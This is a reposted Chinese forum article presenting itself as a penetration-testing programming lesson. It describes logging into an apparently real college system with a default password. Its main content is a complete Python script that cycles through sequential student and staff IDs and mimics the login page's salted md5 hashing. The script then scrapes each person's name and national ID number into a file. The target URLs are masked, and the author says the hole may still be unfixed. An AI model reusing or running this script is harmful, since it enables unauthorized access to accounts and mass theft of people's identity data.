搜索

[7524] 2021-02-28_渗透测试之基本编程(附源码【已打码URL】)

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-17
2021-02-28_渗透测试之基本编程(附源码【已打码URL】) 渗 透 测 试 之 基 本 编 程 ( 附 源 码 【 已 打 码 U R L 】 ) F 1 2 s e c   2 0 2 1 - 0 2 - 2 8 编 者 荐 语 ： 爬 虫 的 神 ！ 以 下 文 章 来 源 于 墨 雪 飘 影   ， 作 者 谢 谢 你 喜 欢 我 之 前 写 的 文 章 都 是 1 7 p x 的 字 体 ， 今 天 试 试 1 5 p x 。 感 觉 小 字 体 好 看 一 些 。 上 次 说 到 某 学 院 的 信 息 收 集 ， 下 面 进 行 深 入 的 信 息 收 集 。 （ 我 的 p y t h o n 是 百 度 学 的 ， 凑 合 着 看 吧 ， 不 行 的 话 就 算 了 [ 反 正 我 又 不 会 优 化 的 ] ） 上 次 摸 到 了 学 号 ， 反 手 就 是 X X 系 统 。 （ 不 明 说 ， 免 得 没 修 复 又 被 拖 。 ） 就 是 这 个 系 统 ， 懂 的 都 懂 。 获 得 信 息 ， 默 认 密 码 1 2 3 4 5 6 。 用 我 们 之 前 摸 来 的 工 号 登 录 。 登 录 成 功 获 得 敏 感 信 息 虽 然 获 得 了 s f z 信 息 ， 我 们 也 知 道 工 号 和 学 号 是 连 续 的 ， 但 是 一 个 个 登 录 复 制 粘 贴 肯 定 不 现 实 ， 而 且 这 样 的 漏 洞 危 害 也 不 大 。 这 时 候 就 要 用 到 工 具 “ 人 ” 了 。 让 程 序 帮 我 们 跑 。 首 先 是 选 择 合 适 的 方 法 ， 1 、 爬 虫 库 ， 2 、 正 则 库 。 这 个 看 实 际 情 况 ， 一 般 都 会 选 爬 虫 库 。 （ 如 果 类 名 都 是 一 样 的 ， I D 也 都 是 一 样 的 爬 起 来 多 累 。 所 以 要 结 合 实 际 情 况 ） 这 里 我 们 看 看 源 码 。 墨 雪 飘 影 墨 雪 飘 影   . 技 术 交 流 。
可 以 看 到 类 名 和 I D 名 都 是 唯 一 的 ， 可 以 用 爬 虫 来 高 效 率 处 理 接 下 来 模 拟 登 录 。 （ 直 接 放 代 码 ， 然 后 挨 个 解 释 。 ） 好 的 注 释 有 助 于 快 速 解 决 代 码 中 的 问 题 ， 以 及 方 便 以 后 的 修 改 。 ' ' ' 墨 雪 飘 影 2 0 2 0 / 0 2 / 2 3 * 学 院 * 自 动 化 处 理 工 具 ' ' ' i m p o r t   r e q u e s t s f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p i m p o r t   r e s e s s i o n = r e q u e s t s . s e s s i o n ( ) # 全 局 设 定 密 码 p w d = ' 0 3 a 9 1 7 f a 3 6 d 0 7 3 5 0 2 1 5 4 d 2 7 f a 6 4 3 6 8 1 2 ' f o r   i   i n   r a n g e ( x x x x , x x x x ) : # 学 号 开 始 与 结 束         # 设 定 变 量         V I E W S T A T E = ' '         V I E W S T A T E G E N E R A T O R = ' '         E V E N T V A L I D A T I O N = ' '         # 获 取 a s p . n e t 三 个 参 数         i n f o = r e q u e s t s . g e t ( ' h t t p : / / * . * . * . * : * / N T R d r L o g i n . a s p x ' )         s o u p = B e a u t i f u l S o u p ( i n f o . t e x t , ' l x m l ' )         s o u p _ _ V I E W S T A T E = s o u p . s e l e c t ( ' # _ _ V I E W S T A T E ' )         s o u p _ _ V I E W S T A T E G E N E R A T O R = s o u p . s e l e c t ( ' # _ _ V I E W S T A T E G E N E R A T O R ' )         s o u p _ _ E V E N T V A L I D A T I O N = s o u p . s e l e c t ( ' # _ _ E V E N T V A L I D A T I O N ' )         f o r   i t e m   i n   s o u p _ _ V I E W S T A T E :                 V I E W S T A T E = i t e m . g e t ( ' v a l u e ' )                 # p r i n t ( i t e m . g e t ( ' v a l u e ' ) )         f o r   i t e m   i n   s o u p _ _ V I E W S T A T E G E N E R A T O R :                 V I E W S T A T E G E N E R A T O R = i t e m . g e t ( ' v a l u e ' )                 # p r i n t ( i t e m . g e t ( ' v a l u e ' ) )         f o r   i t e m   i n   s o u p _ _ E V E N T V A L I D A T I O N :                 E V E N T V A L I D A T I O N = i t e m . g e t ( ' v a l u e ' )                 # p r i n t ( i t e m . g e t ( ' v a l u e ' ) )         # 模 拟 登 录         h e a d e r = { }         h e a d e r [ ' C o n t e n t - T y p e ' ] = ' C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d '         h e a d e r [ ' U s e r - A g e n t ' ] = ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 0 . 0 . 3 9 8 7 . 8 7   S a f a r i / 5 3 7 . 3 6   S E   2 . X   M e t a S r   1 . 0 '         # 设 置 账 号 密 码         # B t n L o g i n 的 值 为 ' 登   录 ' 时 会 无 限 报 错 ， 修 改 为 B t n L o g i n 即 可         # r e q _ d a t a = ' t x t N a m e = ' + s t r ( i ) + ' & t x t P i n = ' + p w d + ' & L o g i n t y p e = R b n t R e c n o & B t n L o g i n = 登   录 '         # r e q _ d a t a = ' t x t N a m e = ' + s t r ( i ) + ' & t x t P i n = ' + p w d + ' & L o g i n t y p e = R b n t R e c n o & B t n L o g i n = B t n L o g i n '         # 第 二 次 修 改 ， 将 请 求 内 容 改 为 表 单 提 交         # r e q _ d a t a = ' _ _ V I E W S T A T E = ' + V I E W S T A T E + ' & _ _ V I E W S T A T E G E N E R A T O R = ' + V I E W S T A T E G E N E R A T O R + ' & _ _ E V E N T V A L I D A T I O N = ' + E V E N T V A L I D A T I O N + ' & ' + r e q _ d a t a
首 先 这 是 个 a s p . n e t 的 w e b 程 序 ， 会 有 三 个 参 数 ， （ 虽 然 有 一 个 是 固 定 值 ， 为 了 严 谨 ， 我 还 是 采 用 了 获 取 值 ） 首 先 对 这 三 个 值 获 取 。 采 用 了 爬 虫 获 取 ， 爬 到 三 个 值 后 进 入 模 拟 登 录 环 节 。 这 里 有 个 密 码 。 这 个 说 一 下 。 在 登 录 页 中 有 一 段 j s 如 下 ： J a v a S c r i p t 我 学 的 不 多 ， 才 疏 学 浅 ， 不 过 大 胆 猜 测 ， 这 里 是 用 第 三 方 j s 库 （ j Q u e r y ） 操 作 ， 具 体 过 程 为 ： 登 录 按 钮 点 击 后 触 发 函 数 ， 函 数 中 获 取 到 密 码 框 的 明 文 密 码 ， 在 明 文 密 码 前 加 上 字 符 串 " i l a s " 然 后 整 个 做 m d 5 。 取 3 2 位 小 写 m d 5 值 作 为 登 录 请 求 的 密 码 。 因 为 密 码 都 是 一 样 的 ， 所 以 这 里 放 了 固 定 变 量 ， 直 接 将 密 码 定 死 。 然 后 进 入 模 拟 登 录 ， 对 登 录 地 址 发 起 P O S T 请 求 ， C o n t e n t - T y p e 为 表 单 方 式 ， 所 以 这 里 用 了 这 样 的 写 法 进 行 数 据 填 充 。 这 里 有 个 巨 坑 ， B t n L o g i n 的 值 为 ' 登   录 ' 时 会 无 限 报 错 ， 修 改 为 B t n L o g i n 即 可 具 体 为 什 么 我 还 不 知 道 ， 这 里 登 录 请 求 发 送 了 一 个 参 数 B t n L o g i n ， 其 值 为 “ 登   录 ” u r l e n c o d e 后 的 值 ， 注 意 ， 这 里 的 “ 登   录 ” 中 间 有 一 个 英 文 空 格 。 实 际 模 拟 时 会 无 限 5 0 0 错 误 ， 修 改 为 空 值 和 中 文 也 不 行 ， 后 来 尝 试 改 为 英 文 ， 遂 解 决 该 问 题 。 登 录 成 功 后 这 里 最 初 采 用 了 状 态 码 判 断 ， 因 为 登 录 成 功 后 会 3 0 2 跳 转 。 后 来 在 实 际 模 拟 过 程 中 并 没 有 3 0 2 ， 而 是 2 0 0 了 。 所 以 改 为 了 关 键 词 判 断 ， 这 个 关 键 词 是 登 录 后 才 有 的 。 经 过 测 试 了 ， 没 有 问 题 。 模 拟 登 录 为 了 不 去 处 理 c o o k i e 问 题 ， 所 以 我 去 百 度 进 修 了 r e q u e s t s 库 中 的 s e s s i o n 方 法 。 进 行 会 话 保 持 。 这 样 不 用 去 获 取 登 录 成 功 后 的 S e t - C o o k i e 值 ， 省 了 不 少 事 。 这 里 写 了 个 状 态 码 的 判 断 ， 因 为 逻 辑 是 这 样 的 ： 登 录 成 功 ， 获 得 c o o k i e ， 请 求 用 户 信 息 ， 发 送 c o o k i e ， 如 果 存 在 ， 则 返 回 2 0 0 ， 加 载 信 息 ， 如 果 不 存 在 或 者 未 登 录 ， 直 接 3 0 2 重 定 向 到 登 录 页 ， 所 以 采 用 了 状 态 码 判 断 。 获 取 到 信 息 后 进 行 处 理 ， 使 用 爬 虫 ， 这 里 只 爬 了 姓 名 和 s f z ， 没 有 爬 单 位 。 我 懒 得 写 了 ， 写 一 下 也 就 多 几 行 的 事 。 下 面 放 上 测 试 图 ：         r e q _ d a t a = {                 ' t x t N a m e ' : s t r ( i ) ,                 ' t x t P i n ' : p w d ,                 ' L o g i n t y p e ' : ' R b n t R e c n o ' ,                 ' B t n L o g i n ' : ' B t n L o g i n ' ,                 ' _ _ V I E W S T A T E ' : V I E W S T A T E ,                 ' _ _ V I E W S T A T E G E N E R A T O R ' : V I E W S T A T E G E N E R A T O R ,                 ' _ _ E V E N T V A L I D A T I O N ' : E V E N T V A L I D A T I O N ,         }         r e s p o n s e = s e s s i o n . p o s t ( ' h t t p : / / * . * . * . * : * / N T R d r L o g i n . a s p x ' , d a t a = r e q _ d a t a )         # p r i n t ( r e q _ d a t a )         # p r i n t ( r e s p o n s e . t e x t )         # 使 用 状 态 码 3 0 2 判 断 不 准 确 ， 改 为 判 断 字 符 串         # i f   r e s p o n s e . s t a t u s _ c o d e = = 3 0 2 :         i f   r e s p o n s e . t e x t . f i n d ( ' 欢 迎 您 ' ) ! = - 1 :                 i n f o _ r e s = s e s s i o n . g e t ( ' h t t p : / / * . * . * . * : * / N T C h a n g e s I n f o . a s p x ' )                 i f   i n f o _ r e s . s t a t u s _ c o d e = = 3 0 2 :                         p r i n t ( s t r ( i ) + ' ， 可 能 不 存 在 。 ' )                         c o n t i n u e                 e l s e :                         # p r i n t ( i n f o _ r e s . t e x t )                         # 获 取 姓 名                         s o u p _ L a b R e a d e r N a m e = B e a u t i f u l S o u p ( i n f o _ r e s . t e x t , ' l x m l ' )                         s o u p _ N a m e = s o u p _ L a b R e a d e r N a m e . s e l e c t ( ' # L a b R e a d e r N a m e ' )                         f o r   n a m e   i n   s o u p _ N a m e :                                 u s e r N a m e = n a m e . g e t _ t e x t ( )                         # 获 取 身 份 证 号                         s o u p _ L a b C a d r I d = B e a u t i f u l S o u p ( i n f o _ r e s . t e x t , ' l x m l ' )                         s o u p _ C a r d I d = s o u p _ L a b C a d r I d . s e l e c t ( ' # L a b C a d r I d ' )                         f o r   c a r d I d   i n   s o u p _ C a r d I d :                                 C a r d I d = c a r d I d . g e t _ t e x t ( )                         # 写 入 文 件                         d a t a = ' 学 号 ： ' + s t r ( i ) + ' t 姓 名 ： ' + u s e r N a m e + ' t 身 份 证 号 码 ： ' + C a r d I d                         p r i n t ( d a t a )                         w i t h   o p e n ( ' w h x y _ l i b _ s t u _ t e s t . t x t ' , ' a ' , e n c o d i n g = ' u t f - 8 ' )   a s   f :                                 f . w r i t e ( d a t a + ' n ' )                                 f . c l o s e ( )         e l s e :                 p r i n t ( s t r ( i ) + ' ， 登 录 失 败 ' )         < s c r i p t >                 $ ( f u n c t i o n   ( )   {                         $ ( " # B t n L o g i n " ) . c l i c k ( f u n c t i o n   ( )   {                                 $ ( " # t x t P i n " ) . v a l ( $ . m d 5 ( " i l a s " + $ ( ' # t x t P i n ' ) . v a l ( ) ) ) ;                         } ) ;                 } ) < / s c r i p t >
面 向 百 度 编 程 （ 当 然 有 些 问 题 还 是 要 自 己 解 决 ） 虽 然 这 个 二 维 码 P 歪 了 ， 不 是 正 方 形 ， 但 是 我 还 是 要 放 上 来
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理